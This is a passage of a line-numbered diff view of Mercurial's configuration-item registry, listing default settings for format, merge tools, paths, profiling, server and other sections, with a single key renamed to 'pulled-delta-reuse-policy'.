1218 1218 coreconfigitem(
1219 1219 b'experimental',
1220 1220 b'single-head-per-branch:account-closed-heads',
1221 1221 default=False,
1222 1222 )
1223 1223 coreconfigitem(
1224 1224 b'experimental',
1225 1225 b'single-head-per-branch:public-changes-only',
1226 1226 default=False,
1227 1227 )
1228 1228 coreconfigitem(
1229 1229 b'experimental',
1230 1230 b'sparse-read',
1231 1231 default=False,
1232 1232 )
1233 1233 coreconfigitem(
1234 1234 b'experimental',
1235 1235 b'sparse-read.density-threshold',
1236 1236 default=0.50,
1237 1237 )
1238 1238 coreconfigitem(
1239 1239 b'experimental',
1240 1240 b'sparse-read.min-gap-size',
1241 1241 default=b'65K',
1242 1242 )
1243 1243 coreconfigitem(
1244 1244 b'experimental',
1245 1245 b'treemanifest',
1246 1246 default=False,
1247 1247 )
1248 1248 coreconfigitem(
1249 1249 b'experimental',
1250 1250 b'update.atomic-file',
1251 1251 default=False,
1252 1252 )
1253 1253 coreconfigitem(
1254 1254 b'experimental',
1255 1255 b'web.full-garbage-collection-rate',
1256 1256 default=1, # still forcing a full collection on each request
1257 1257 )
1258 1258 coreconfigitem(
1259 1259 b'experimental',
1260 1260 b'worker.wdir-get-thread-safe',
1261 1261 default=False,
1262 1262 )
1263 1263 coreconfigitem(
1264 1264 b'experimental',
1265 1265 b'worker.repository-upgrade',
1266 1266 default=False,
1267 1267 )
1268 1268 coreconfigitem(
1269 1269 b'experimental',
1270 1270 b'xdiff',
1271 1271 default=False,
1272 1272 )
1273 1273 coreconfigitem(
1274 1274 b'extensions',
1275 1275 b'[^:]*',
1276 1276 default=None,
1277 1277 generic=True,
1278 1278 )
1279 1279 coreconfigitem(
1280 1280 b'extensions',
1281 1281 b'[^:]*:required',
1282 1282 default=False,
1283 1283 generic=True,
1284 1284 )
1285 1285 coreconfigitem(
1286 1286 b'extdata',
1287 1287 b'.*',
1288 1288 default=None,
1289 1289 generic=True,
1290 1290 )
1291 1291 coreconfigitem(
1292 1292 b'format',
1293 1293 b'bookmarks-in-store',
1294 1294 default=False,
1295 1295 )
1296 1296 coreconfigitem(
1297 1297 b'format',
1298 1298 b'chunkcachesize',
1299 1299 default=None,
1300 1300 experimental=True,
1301 1301 )
1302 1302 coreconfigitem(
1303 1303 # Enable this dirstate format *when creating a new repository*.
1304 1304 # Which format to use for existing repos is controlled by .hg/requires
1305 1305 b'format',
1306 1306 b'use-dirstate-v2',
1307 1307 default=False,
1308 1308 experimental=True,
1309 1309 alias=[(b'format', b'exp-rc-dirstate-v2')],
1310 1310 )
1311 1311 coreconfigitem(
1312 1312 b'format',
1313 1313 b'use-dirstate-v2.automatic-upgrade-of-mismatching-repositories',
1314 1314 default=False,
1315 1315 experimental=True,
1316 1316 )
1317 1317 coreconfigitem(
1318 1318 b'format',
1319 1319 b'use-dirstate-v2.automatic-upgrade-of-mismatching-repositories:quiet',
1320 1320 default=False,
1321 1321 experimental=True,
1322 1322 )
1323 1323 coreconfigitem(
1324 1324 b'format',
1325 1325 b'use-dirstate-tracked-hint',
1326 1326 default=False,
1327 1327 experimental=True,
1328 1328 )
1329 1329 coreconfigitem(
1330 1330 b'format',
1331 1331 b'use-dirstate-tracked-hint.version',
1332 1332 default=1,
1333 1333 experimental=True,
1334 1334 )
1335 1335 coreconfigitem(
1336 1336 b'format',
1337 1337 b'use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories',
1338 1338 default=False,
1339 1339 experimental=True,
1340 1340 )
1341 1341 coreconfigitem(
1342 1342 b'format',
1343 1343 b'use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories:quiet',
1344 1344 default=False,
1345 1345 experimental=True,
1346 1346 )
1347 1347 coreconfigitem(
1348 1348 b'format',
1349 1349 b'dotencode',
1350 1350 default=True,
1351 1351 )
1352 1352 coreconfigitem(
1353 1353 b'format',
1354 1354 b'generaldelta',
1355 1355 default=False,
1356 1356 experimental=True,
1357 1357 )
1358 1358 coreconfigitem(
1359 1359 b'format',
1360 1360 b'manifestcachesize',
1361 1361 default=None,
1362 1362 experimental=True,
1363 1363 )
1364 1364 coreconfigitem(
1365 1365 b'format',
1366 1366 b'maxchainlen',
1367 1367 default=dynamicdefault,
1368 1368 experimental=True,
1369 1369 )
1370 1370 coreconfigitem(
1371 1371 b'format',
1372 1372 b'obsstore-version',
1373 1373 default=None,
1374 1374 )
1375 1375 coreconfigitem(
1376 1376 b'format',
1377 1377 b'sparse-revlog',
1378 1378 default=True,
1379 1379 )
1380 1380 coreconfigitem(
1381 1381 b'format',
1382 1382 b'revlog-compression',
1383 1383 default=lambda: [b'zstd', b'zlib'],
1384 1384 alias=[(b'experimental', b'format.compression')],
1385 1385 )
1386 1386 # Experimental TODOs:
1387 1387 #
1388 1388 # * Same as for revlogv2 (but for the reduction of the number of files)
1389 1389 # * Actually computing the rank of changesets
1390 1390 # * Improvement to investigate
1391 1391 # - storing .hgtags fnode
1392 1392 # - storing branch related identifier
1393 1393
1394 1394 coreconfigitem(
1395 1395 b'format',
1396 1396 b'exp-use-changelog-v2',
1397 1397 default=None,
1398 1398 experimental=True,
1399 1399 )
1400 1400 coreconfigitem(
1401 1401 b'format',
1402 1402 b'usefncache',
1403 1403 default=True,
1404 1404 )
1405 1405 coreconfigitem(
1406 1406 b'format',
1407 1407 b'usegeneraldelta',
1408 1408 default=True,
1409 1409 )
1410 1410 coreconfigitem(
1411 1411 b'format',
1412 1412 b'usestore',
1413 1413 default=True,
1414 1414 )
1415 1415
1416 1416
1417 1417 def _persistent_nodemap_default():
1418 1418 """compute `use-persistent-nodemap` default value
1419 1419
1420 1420 The feature is disabled unless a fast implementation is available.
1421 1421 """
1422 1422 from . import policy
1423 1423
1424 1424 return policy.importrust('revlog') is not None
1425 1425
1426 1426
1427 1427 coreconfigitem(
1428 1428 b'format',
1429 1429 b'use-persistent-nodemap',
1430 1430 default=_persistent_nodemap_default,
1431 1431 )
1432 1432 coreconfigitem(
1433 1433 b'format',
1434 1434 b'exp-use-copies-side-data-changeset',
1435 1435 default=False,
1436 1436 experimental=True,
1437 1437 )
1438 1438 coreconfigitem(
1439 1439 b'format',
1440 1440 b'use-share-safe',
1441 1441 default=True,
1442 1442 )
1443 1443 coreconfigitem(
1444 1444 b'format',
1445 1445 b'use-share-safe.automatic-upgrade-of-mismatching-repositories',
1446 1446 default=False,
1447 1447 experimental=True,
1448 1448 )
1449 1449 coreconfigitem(
1450 1450 b'format',
1451 1451 b'use-share-safe.automatic-upgrade-of-mismatching-repositories:quiet',
1452 1452 default=False,
1453 1453 experimental=True,
1454 1454 )
1455 1455
1456 1456 # Moving this on by default means we are confident about the scaling of phases.
1457 1457 # This is not garanteed to be the case at the time this message is written.
1458 1458 coreconfigitem(
1459 1459 b'format',
1460 1460 b'use-internal-phase',
1461 1461 default=False,
1462 1462 experimental=True,
1463 1463 )
1464 1464 # The interaction between the archived phase and obsolescence markers needs to
1465 1465 # be sorted out before wider usage of this are to be considered.
1466 1466 #
1467 1467 # At the time this message is written, behavior when archiving obsolete
1468 1468 # changeset differ significantly from stripping. As part of stripping, we also
1469 1469 # remove the obsolescence marker associated to the stripped changesets,
1470 1470 # revealing the precedecessors changesets when applicable. When archiving, we
1471 1471 # don't touch the obsolescence markers, keeping everything hidden. This can
1472 1472 # result in quite confusing situation for people combining exchanging draft
1473 1473 # with the archived phases. As some markers needed by others may be skipped
1474 1474 # during exchange.
1475 1475 coreconfigitem(
1476 1476 b'format',
1477 1477 b'exp-archived-phase',
1478 1478 default=False,
1479 1479 experimental=True,
1480 1480 )
1481 1481 coreconfigitem(
1482 1482 b'shelve',
1483 1483 b'store',
1484 1484 default=b'internal',
1485 1485 experimental=True,
1486 1486 )
1487 1487 coreconfigitem(
1488 1488 b'fsmonitor',
1489 1489 b'warn_when_unused',
1490 1490 default=True,
1491 1491 )
1492 1492 coreconfigitem(
1493 1493 b'fsmonitor',
1494 1494 b'warn_update_file_count',
1495 1495 default=50000,
1496 1496 )
1497 1497 coreconfigitem(
1498 1498 b'fsmonitor',
1499 1499 b'warn_update_file_count_rust',
1500 1500 default=400000,
1501 1501 )
1502 1502 coreconfigitem(
1503 1503 b'help',
1504 1504 br'hidden-command\..*',
1505 1505 default=False,
1506 1506 generic=True,
1507 1507 )
1508 1508 coreconfigitem(
1509 1509 b'help',
1510 1510 br'hidden-topic\..*',
1511 1511 default=False,
1512 1512 generic=True,
1513 1513 )
1514 1514 coreconfigitem(
1515 1515 b'hooks',
1516 1516 b'[^:]*',
1517 1517 default=dynamicdefault,
1518 1518 generic=True,
1519 1519 )
1520 1520 coreconfigitem(
1521 1521 b'hooks',
1522 1522 b'.*:run-with-plain',
1523 1523 default=True,
1524 1524 generic=True,
1525 1525 )
1526 1526 coreconfigitem(
1527 1527 b'hgweb-paths',
1528 1528 b'.*',
1529 1529 default=list,
1530 1530 generic=True,
1531 1531 )
1532 1532 coreconfigitem(
1533 1533 b'hostfingerprints',
1534 1534 b'.*',
1535 1535 default=list,
1536 1536 generic=True,
1537 1537 )
1538 1538 coreconfigitem(
1539 1539 b'hostsecurity',
1540 1540 b'ciphers',
1541 1541 default=None,
1542 1542 )
1543 1543 coreconfigitem(
1544 1544 b'hostsecurity',
1545 1545 b'minimumprotocol',
1546 1546 default=dynamicdefault,
1547 1547 )
1548 1548 coreconfigitem(
1549 1549 b'hostsecurity',
1550 1550 b'.*:minimumprotocol$',
1551 1551 default=dynamicdefault,
1552 1552 generic=True,
1553 1553 )
1554 1554 coreconfigitem(
1555 1555 b'hostsecurity',
1556 1556 b'.*:ciphers$',
1557 1557 default=dynamicdefault,
1558 1558 generic=True,
1559 1559 )
1560 1560 coreconfigitem(
1561 1561 b'hostsecurity',
1562 1562 b'.*:fingerprints$',
1563 1563 default=list,
1564 1564 generic=True,
1565 1565 )
1566 1566 coreconfigitem(
1567 1567 b'hostsecurity',
1568 1568 b'.*:verifycertsfile$',
1569 1569 default=None,
1570 1570 generic=True,
1571 1571 )
1572 1572
1573 1573 coreconfigitem(
1574 1574 b'http_proxy',
1575 1575 b'always',
1576 1576 default=False,
1577 1577 )
1578 1578 coreconfigitem(
1579 1579 b'http_proxy',
1580 1580 b'host',
1581 1581 default=None,
1582 1582 )
1583 1583 coreconfigitem(
1584 1584 b'http_proxy',
1585 1585 b'no',
1586 1586 default=list,
1587 1587 )
1588 1588 coreconfigitem(
1589 1589 b'http_proxy',
1590 1590 b'passwd',
1591 1591 default=None,
1592 1592 )
1593 1593 coreconfigitem(
1594 1594 b'http_proxy',
1595 1595 b'user',
1596 1596 default=None,
1597 1597 )
1598 1598
1599 1599 coreconfigitem(
1600 1600 b'http',
1601 1601 b'timeout',
1602 1602 default=None,
1603 1603 )
1604 1604
1605 1605 coreconfigitem(
1606 1606 b'logtoprocess',
1607 1607 b'commandexception',
1608 1608 default=None,
1609 1609 )
1610 1610 coreconfigitem(
1611 1611 b'logtoprocess',
1612 1612 b'commandfinish',
1613 1613 default=None,
1614 1614 )
1615 1615 coreconfigitem(
1616 1616 b'logtoprocess',
1617 1617 b'command',
1618 1618 default=None,
1619 1619 )
1620 1620 coreconfigitem(
1621 1621 b'logtoprocess',
1622 1622 b'develwarn',
1623 1623 default=None,
1624 1624 )
1625 1625 coreconfigitem(
1626 1626 b'logtoprocess',
1627 1627 b'uiblocked',
1628 1628 default=None,
1629 1629 )
1630 1630 coreconfigitem(
1631 1631 b'merge',
1632 1632 b'checkunknown',
1633 1633 default=b'abort',
1634 1634 )
1635 1635 coreconfigitem(
1636 1636 b'merge',
1637 1637 b'checkignored',
1638 1638 default=b'abort',
1639 1639 )
1640 1640 coreconfigitem(
1641 1641 b'experimental',
1642 1642 b'merge.checkpathconflicts',
1643 1643 default=False,
1644 1644 )
1645 1645 coreconfigitem(
1646 1646 b'merge',
1647 1647 b'followcopies',
1648 1648 default=True,
1649 1649 )
1650 1650 coreconfigitem(
1651 1651 b'merge',
1652 1652 b'on-failure',
1653 1653 default=b'continue',
1654 1654 )
1655 1655 coreconfigitem(
1656 1656 b'merge',
1657 1657 b'preferancestor',
1658 1658 default=lambda: [b'*'],
1659 1659 experimental=True,
1660 1660 )
1661 1661 coreconfigitem(
1662 1662 b'merge',
1663 1663 b'strict-capability-check',
1664 1664 default=False,
1665 1665 )
1666 1666 coreconfigitem(
1667 1667 b'merge',
1668 1668 b'disable-partial-tools',
1669 1669 default=False,
1670 1670 experimental=True,
1671 1671 )
1672 1672 coreconfigitem(
1673 1673 b'partial-merge-tools',
1674 1674 b'.*',
1675 1675 default=None,
1676 1676 generic=True,
1677 1677 experimental=True,
1678 1678 )
1679 1679 coreconfigitem(
1680 1680 b'partial-merge-tools',
1681 1681 br'.*\.patterns',
1682 1682 default=dynamicdefault,
1683 1683 generic=True,
1684 1684 priority=-1,
1685 1685 experimental=True,
1686 1686 )
1687 1687 coreconfigitem(
1688 1688 b'partial-merge-tools',
1689 1689 br'.*\.executable$',
1690 1690 default=dynamicdefault,
1691 1691 generic=True,
1692 1692 priority=-1,
1693 1693 experimental=True,
1694 1694 )
1695 1695 coreconfigitem(
1696 1696 b'partial-merge-tools',
1697 1697 br'.*\.order',
1698 1698 default=0,
1699 1699 generic=True,
1700 1700 priority=-1,
1701 1701 experimental=True,
1702 1702 )
1703 1703 coreconfigitem(
1704 1704 b'partial-merge-tools',
1705 1705 br'.*\.args',
1706 1706 default=b"$local $base $other",
1707 1707 generic=True,
1708 1708 priority=-1,
1709 1709 experimental=True,
1710 1710 )
1711 1711 coreconfigitem(
1712 1712 b'partial-merge-tools',
1713 1713 br'.*\.disable',
1714 1714 default=False,
1715 1715 generic=True,
1716 1716 priority=-1,
1717 1717 experimental=True,
1718 1718 )
1719 1719 coreconfigitem(
1720 1720 b'merge-tools',
1721 1721 b'.*',
1722 1722 default=None,
1723 1723 generic=True,
1724 1724 )
1725 1725 coreconfigitem(
1726 1726 b'merge-tools',
1727 1727 br'.*\.args$',
1728 1728 default=b"$local $base $other",
1729 1729 generic=True,
1730 1730 priority=-1,
1731 1731 )
1732 1732 coreconfigitem(
1733 1733 b'merge-tools',
1734 1734 br'.*\.binary$',
1735 1735 default=False,
1736 1736 generic=True,
1737 1737 priority=-1,
1738 1738 )
1739 1739 coreconfigitem(
1740 1740 b'merge-tools',
1741 1741 br'.*\.check$',
1742 1742 default=list,
1743 1743 generic=True,
1744 1744 priority=-1,
1745 1745 )
1746 1746 coreconfigitem(
1747 1747 b'merge-tools',
1748 1748 br'.*\.checkchanged$',
1749 1749 default=False,
1750 1750 generic=True,
1751 1751 priority=-1,
1752 1752 )
1753 1753 coreconfigitem(
1754 1754 b'merge-tools',
1755 1755 br'.*\.executable$',
1756 1756 default=dynamicdefault,
1757 1757 generic=True,
1758 1758 priority=-1,
1759 1759 )
1760 1760 coreconfigitem(
1761 1761 b'merge-tools',
1762 1762 br'.*\.fixeol$',
1763 1763 default=False,
1764 1764 generic=True,
1765 1765 priority=-1,
1766 1766 )
1767 1767 coreconfigitem(
1768 1768 b'merge-tools',
1769 1769 br'.*\.gui$',
1770 1770 default=False,
1771 1771 generic=True,
1772 1772 priority=-1,
1773 1773 )
1774 1774 coreconfigitem(
1775 1775 b'merge-tools',
1776 1776 br'.*\.mergemarkers$',
1777 1777 default=b'basic',
1778 1778 generic=True,
1779 1779 priority=-1,
1780 1780 )
1781 1781 coreconfigitem(
1782 1782 b'merge-tools',
1783 1783 br'.*\.mergemarkertemplate$',
1784 1784 default=dynamicdefault, # take from command-templates.mergemarker
1785 1785 generic=True,
1786 1786 priority=-1,
1787 1787 )
1788 1788 coreconfigitem(
1789 1789 b'merge-tools',
1790 1790 br'.*\.priority$',
1791 1791 default=0,
1792 1792 generic=True,
1793 1793 priority=-1,
1794 1794 )
1795 1795 coreconfigitem(
1796 1796 b'merge-tools',
1797 1797 br'.*\.premerge$',
1798 1798 default=dynamicdefault,
1799 1799 generic=True,
1800 1800 priority=-1,
1801 1801 )
1802 1802 coreconfigitem(
1803 1803 b'merge-tools',
1804 1804 br'.*\.regappend$',
1805 1805 default=b"",
1806 1806 generic=True,
1807 1807 priority=-1,
1808 1808 )
1809 1809 coreconfigitem(
1810 1810 b'merge-tools',
1811 1811 br'.*\.symlink$',
1812 1812 default=False,
1813 1813 generic=True,
1814 1814 priority=-1,
1815 1815 )
1816 1816 coreconfigitem(
1817 1817 b'pager',
1818 1818 b'attend-.*',
1819 1819 default=dynamicdefault,
1820 1820 generic=True,
1821 1821 )
1822 1822 coreconfigitem(
1823 1823 b'pager',
1824 1824 b'ignore',
1825 1825 default=list,
1826 1826 )
1827 1827 coreconfigitem(
1828 1828 b'pager',
1829 1829 b'pager',
1830 1830 default=dynamicdefault,
1831 1831 )
1832 1832 coreconfigitem(
1833 1833 b'patch',
1834 1834 b'eol',
1835 1835 default=b'strict',
1836 1836 )
1837 1837 coreconfigitem(
1838 1838 b'patch',
1839 1839 b'fuzz',
1840 1840 default=2,
1841 1841 )
1842 1842 coreconfigitem(
1843 1843 b'paths',
1844 1844 b'default',
1845 1845 default=None,
1846 1846 )
1847 1847 coreconfigitem(
1848 1848 b'paths',
1849 1849 b'default-push',
1850 1850 default=None,
1851 1851 )
1852 1852 coreconfigitem(
1853 1853 b'paths',
1854 1854 b'[^:]*',
1855 1855 default=None,
1856 1856 generic=True,
1857 1857 )
1858 1858 coreconfigitem(
1859 1859 b'paths',
1860 1860 b'.*:bookmarks.mode',
1861 1861 default='default',
1862 1862 generic=True,
1863 1863 )
1864 1864 coreconfigitem(
1865 1865 b'paths',
1866 1866 b'.*:multi-urls',
1867 1867 default=False,
1868 1868 generic=True,
1869 1869 )
1870 1870 coreconfigitem(
1871 1871 b'paths',
1872 1872 b'.*:pushrev',
1873 1873 default=None,
1874 1874 generic=True,
1875 1875 )
1876 1876 coreconfigitem(
1877 1877 b'paths',
1878 1878 b'.*:pushurl',
1879 1879 default=None,
1880 1880 generic=True,
1881 1881 )
1882 1882 coreconfigitem(
1883 1883 b'paths',
1884 b'.*:delta-reuse-policy',
1884 b'.*:pulled-delta-reuse-policy',
1885 1885 default=None,
1886 1886 generic=True,
1887 1887 )
1888 1888 coreconfigitem(
1889 1889 b'phases',
1890 1890 b'checksubrepos',
1891 1891 default=b'follow',
1892 1892 )
1893 1893 coreconfigitem(
1894 1894 b'phases',
1895 1895 b'new-commit',
1896 1896 default=b'draft',
1897 1897 )
1898 1898 coreconfigitem(
1899 1899 b'phases',
1900 1900 b'publish',
1901 1901 default=True,
1902 1902 )
1903 1903 coreconfigitem(
1904 1904 b'profiling',
1905 1905 b'enabled',
1906 1906 default=False,
1907 1907 )
1908 1908 coreconfigitem(
1909 1909 b'profiling',
1910 1910 b'format',
1911 1911 default=b'text',
1912 1912 )
1913 1913 coreconfigitem(
1914 1914 b'profiling',
1915 1915 b'freq',
1916 1916 default=1000,
1917 1917 )
1918 1918 coreconfigitem(
1919 1919 b'profiling',
1920 1920 b'limit',
1921 1921 default=30,
1922 1922 )
1923 1923 coreconfigitem(
1924 1924 b'profiling',
1925 1925 b'nested',
1926 1926 default=0,
1927 1927 )
1928 1928 coreconfigitem(
1929 1929 b'profiling',
1930 1930 b'output',
1931 1931 default=None,
1932 1932 )
1933 1933 coreconfigitem(
1934 1934 b'profiling',
1935 1935 b'showmax',
1936 1936 default=0.999,
1937 1937 )
1938 1938 coreconfigitem(
1939 1939 b'profiling',
1940 1940 b'showmin',
1941 1941 default=dynamicdefault,
1942 1942 )
1943 1943 coreconfigitem(
1944 1944 b'profiling',
1945 1945 b'showtime',
1946 1946 default=True,
1947 1947 )
1948 1948 coreconfigitem(
1949 1949 b'profiling',
1950 1950 b'sort',
1951 1951 default=b'inlinetime',
1952 1952 )
1953 1953 coreconfigitem(
1954 1954 b'profiling',
1955 1955 b'statformat',
1956 1956 default=b'hotpath',
1957 1957 )
1958 1958 coreconfigitem(
1959 1959 b'profiling',
1960 1960 b'time-track',
1961 1961 default=dynamicdefault,
1962 1962 )
1963 1963 coreconfigitem(
1964 1964 b'profiling',
1965 1965 b'type',
1966 1966 default=b'stat',
1967 1967 )
1968 1968 coreconfigitem(
1969 1969 b'progress',
1970 1970 b'assume-tty',
1971 1971 default=False,
1972 1972 )
1973 1973 coreconfigitem(
1974 1974 b'progress',
1975 1975 b'changedelay',
1976 1976 default=1,
1977 1977 )
1978 1978 coreconfigitem(
1979 1979 b'progress',
1980 1980 b'clear-complete',
1981 1981 default=True,
1982 1982 )
1983 1983 coreconfigitem(
1984 1984 b'progress',
1985 1985 b'debug',
1986 1986 default=False,
1987 1987 )
1988 1988 coreconfigitem(
1989 1989 b'progress',
1990 1990 b'delay',
1991 1991 default=3,
1992 1992 )
1993 1993 coreconfigitem(
1994 1994 b'progress',
1995 1995 b'disable',
1996 1996 default=False,
1997 1997 )
1998 1998 coreconfigitem(
1999 1999 b'progress',
2000 2000 b'estimateinterval',
2001 2001 default=60.0,
2002 2002 )
2003 2003 coreconfigitem(
2004 2004 b'progress',
2005 2005 b'format',
2006 2006 default=lambda: [b'topic', b'bar', b'number', b'estimate'],
2007 2007 )
2008 2008 coreconfigitem(
2009 2009 b'progress',
2010 2010 b'refresh',
2011 2011 default=0.1,
2012 2012 )
2013 2013 coreconfigitem(
2014 2014 b'progress',
2015 2015 b'width',
2016 2016 default=dynamicdefault,
2017 2017 )
2018 2018 coreconfigitem(
2019 2019 b'pull',
2020 2020 b'confirm',
2021 2021 default=False,
2022 2022 )
2023 2023 coreconfigitem(
2024 2024 b'push',
2025 2025 b'pushvars.server',
2026 2026 default=False,
2027 2027 )
2028 2028 coreconfigitem(
2029 2029 b'rewrite',
2030 2030 b'backup-bundle',
2031 2031 default=True,
2032 2032 alias=[(b'ui', b'history-editing-backup')],
2033 2033 )
2034 2034 coreconfigitem(
2035 2035 b'rewrite',
2036 2036 b'update-timestamp',
2037 2037 default=False,
2038 2038 )
2039 2039 coreconfigitem(
2040 2040 b'rewrite',
2041 2041 b'empty-successor',
2042 2042 default=b'skip',
2043 2043 experimental=True,
2044 2044 )
2045 2045 # experimental as long as format.use-dirstate-v2 is.
2046 2046 coreconfigitem(
2047 2047 b'storage',
2048 2048 b'dirstate-v2.slow-path',
2049 2049 default=b"abort",
2050 2050 experimental=True,
2051 2051 )
2052 2052 coreconfigitem(
2053 2053 b'storage',
2054 2054 b'new-repo-backend',
2055 2055 default=b'revlogv1',
2056 2056 experimental=True,
2057 2057 )
2058 2058 coreconfigitem(
2059 2059 b'storage',
2060 2060 b'revlog.optimize-delta-parent-choice',
2061 2061 default=True,
2062 2062 alias=[(b'format', b'aggressivemergedeltas')],
2063 2063 )
2064 2064 coreconfigitem(
2065 2065 b'storage',
2066 2066 b'revlog.delta-parent-search.candidate-group-chunk-size',
2067 2067 default=20,
2068 2068 )
2069 2069 coreconfigitem(
2070 2070 b'storage',
2071 2071 b'revlog.issue6528.fix-incoming',
2072 2072 default=True,
2073 2073 )
2074 2074 # experimental as long as rust is experimental (or a C version is implemented)
2075 2075 coreconfigitem(
2076 2076 b'storage',
2077 2077 b'revlog.persistent-nodemap.mmap',
2078 2078 default=True,
2079 2079 )
2080 2080 # experimental as long as format.use-persistent-nodemap is.
2081 2081 coreconfigitem(
2082 2082 b'storage',
2083 2083 b'revlog.persistent-nodemap.slow-path',
2084 2084 default=b"abort",
2085 2085 )
2086 2086
2087 2087 coreconfigitem(
2088 2088 b'storage',
2089 2089 b'revlog.reuse-external-delta',
2090 2090 default=True,
2091 2091 )
2092 2092 # This option is True unless `format.generaldelta` is set.
2093 2093 coreconfigitem(
2094 2094 b'storage',
2095 2095 b'revlog.reuse-external-delta-parent',
2096 2096 default=None,
2097 2097 )
2098 2098 coreconfigitem(
2099 2099 b'storage',
2100 2100 b'revlog.zlib.level',
2101 2101 default=None,
2102 2102 )
2103 2103 coreconfigitem(
2104 2104 b'storage',
2105 2105 b'revlog.zstd.level',
2106 2106 default=None,
2107 2107 )
2108 2108 coreconfigitem(
2109 2109 b'server',
2110 2110 b'bookmarks-pushkey-compat',
2111 2111 default=True,
2112 2112 )
2113 2113 coreconfigitem(
2114 2114 b'server',
2115 2115 b'bundle1',
2116 2116 default=True,
2117 2117 )
2118 2118 coreconfigitem(
2119 2119 b'server',
2120 2120 b'bundle1gd',
2121 2121 default=None,
2122 2122 )
2123 2123 coreconfigitem(
2124 2124 b'server',
2125 2125 b'bundle1.pull',
2126 2126 default=None,
2127 2127 )
2128 2128 coreconfigitem(
2129 2129 b'server',
2130 2130 b'bundle1gd.pull',
2131 2131 default=None,
2132 2132 )
2133 2133 coreconfigitem(
2134 2134 b'server',
2135 2135 b'bundle1.push',
2136 2136 default=None,
2137 2137 )
2138 2138 coreconfigitem(
2139 2139 b'server',
2140 2140 b'bundle1gd.push',
2141 2141 default=None,
2142 2142 )
2143 2143 coreconfigitem(
2144 2144 b'server',
2145 2145 b'bundle2.stream',
2146 2146 default=True,
2147 2147 alias=[(b'experimental', b'bundle2.stream')],
2148 2148 )
2149 2149 coreconfigitem(
2150 2150 b'server',
2151 2151 b'compressionengines',
2152 2152 default=list,
2153 2153 )
2154 2154 coreconfigitem(
2155 2155 b'server',
2156 2156 b'concurrent-push-mode',
2157 2157 default=b'check-related',
2158 2158 )
2159 2159 coreconfigitem(
2160 2160 b'server',
2161 2161 b'disablefullbundle',
2162 2162 default=False,
2163 2163 )
2164 2164 coreconfigitem(
2165 2165 b'server',
2166 2166 b'maxhttpheaderlen',
2167 2167 default=1024,
2168 2168 )
2169 2169 coreconfigitem(
2170 2170 b'server',
2171 2171 b'pullbundle',
2172 2172 default=True,
2173 2173 )
2174 2174 coreconfigitem(
2175 2175 b'server',
2176 2176 b'preferuncompressed',
2177 2177 default=False,
2178 2178 )
2179 2179 coreconfigitem(
2180 2180 b'server',
2181 2181 b'streamunbundle',
2182 2182 default=False,
2183 2183 )
2184 2184 coreconfigitem(
2185 2185 b'server',
2186 2186 b'uncompressed',
2187 2187 default=True,
2188 2188 )
2189 2189 coreconfigitem(
2190 2190 b'server',
2191 2191 b'uncompressedallowsecret',
2192 2192 default=False,
2193 2193 )
2194 2194 coreconfigitem(
2195 2195 b'server',
2196 2196 b'view',
2197 2197 default=b'served',
2198 2198 )
2199 2199 coreconfigitem(
2200 2200 b'server',
2201 2201 b'validate',
2202 2202 default=False,
2203 2203 )
2204 2204 coreconfigitem(
2205 2205 b'server',
2206 2206 b'zliblevel',
2207 2207 default=-1,
2208 2208 )
2209 2209 coreconfigitem(
2210 2210 b'server',
2211 2211 b'zstdlevel',
2212 2212 default=3,
2213 2213 )
2214 2214 coreconfigitem(
2215 2215 b'share',
2216 2216 b'pool',
2217 2217 default=None,
2218 2218 )
2219 2219 coreconfigitem(
2220 2220 b'share',
2221 2221 b'poolnaming',
2222 2222 default=b'identity',
2223 2223 )
2224 2224 coreconfigitem(
2225 2225 b'share',
2226 2226 b'safe-mismatch.source-not-safe',
2227 2227 default=b'abort',
2228 2228 )
2229 2229 coreconfigitem(
2230 2230 b'share',
2231 2231 b'safe-mismatch.source-safe',
2232 2232 default=b'abort',
2233 2233 )
2234 2234 coreconfigitem(
2235 2235 b'share',
2236 2236 b'safe-mismatch.source-not-safe.warn',
2237 2237 default=True,
2238 2238 )
2239 2239 coreconfigitem(
2240 2240 b'share',
2241 2241 b'safe-mismatch.source-safe.warn',
2242 2242 default=True,
2243 2243 )
2244 2244 coreconfigitem(
2245 2245 b'share',
2246 2246 b'safe-mismatch.source-not-safe:verbose-upgrade',
2247 2247 default=True,
2248 2248 )
2249 2249 coreconfigitem(
2250 2250 b'share',
2251 2251 b'safe-mismatch.source-safe:verbose-upgrade',
2252 2252 default=True,
2253 2253 )
2254 2254 coreconfigitem(
2255 2255 b'shelve',
2256 2256 b'maxbackups',
2257 2257 default=10,
2258 2258 )
2259 2259 coreconfigitem(
2260 2260 b'smtp',
2261 2261 b'host',
2262 2262 default=None,
2263 2263 )
2264 2264 coreconfigitem(
2265 2265 b'smtp',
2266 2266 b'local_hostname',
2267 2267 default=None,
2268 2268 )
2269 2269 coreconfigitem(
2270 2270 b'smtp',
2271 2271 b'password',
2272 2272 default=None,
2273 2273 )
2274 2274 coreconfigitem(
2275 2275 b'smtp',
2276 2276 b'port',
2277 2277 default=dynamicdefault,
2278 2278 )
2279 2279 coreconfigitem(
2280 2280 b'smtp',
2281 2281 b'tls',
2282 2282 default=b'none',
2283 2283 )
2284 2284 coreconfigitem(
2285 2285 b'smtp',
2286 2286 b'username',
2287 2287 default=None,
2288 2288 )
2289 2289 coreconfigitem(
2290 2290 b'sparse',
2291 2291 b'missingwarning',
2292 2292 default=True,
2293 2293 experimental=True,
2294 2294 )
2295 2295 coreconfigitem(
2296 2296 b'subrepos',
2297 2297 b'allowed',
2298 2298 default=dynamicdefault, # to make backporting simpler
2299 2299 )
2300 2300 coreconfigitem(
2301 2301 b'subrepos',
2302 2302 b'hg:allowed',
2303 2303 default=dynamicdefault,
2304 2304 )
2305 2305 coreconfigitem(
2306 2306 b'subrepos',
2307 2307 b'git:allowed',
2308 2308 default=dynamicdefault,
2309 2309 )
2310 2310 coreconfigitem(
2311 2311 b'subrepos',
2312 2312 b'svn:allowed',
2313 2313 default=dynamicdefault,
2314 2314 )
2315 2315 coreconfigitem(
2316 2316 b'templates',
2317 2317 b'.*',
2318 2318 default=None,
2319 2319 generic=True,
2320 2320 )
2321 2321 coreconfigitem(
2322 2322 b'templateconfig',
2323 2323 b'.*',
2324 2324 default=dynamicdefault,
2325 2325 generic=True,
2326 2326 )
2327 2327 coreconfigitem(
2328 2328 b'trusted',
2329 2329 b'groups',
2330 2330 default=list,
2331 2331 )
2332 2332 coreconfigitem(
2333 2333 b'trusted',
2334 2334 b'users',
2335 2335 default=list,
2336 2336 )
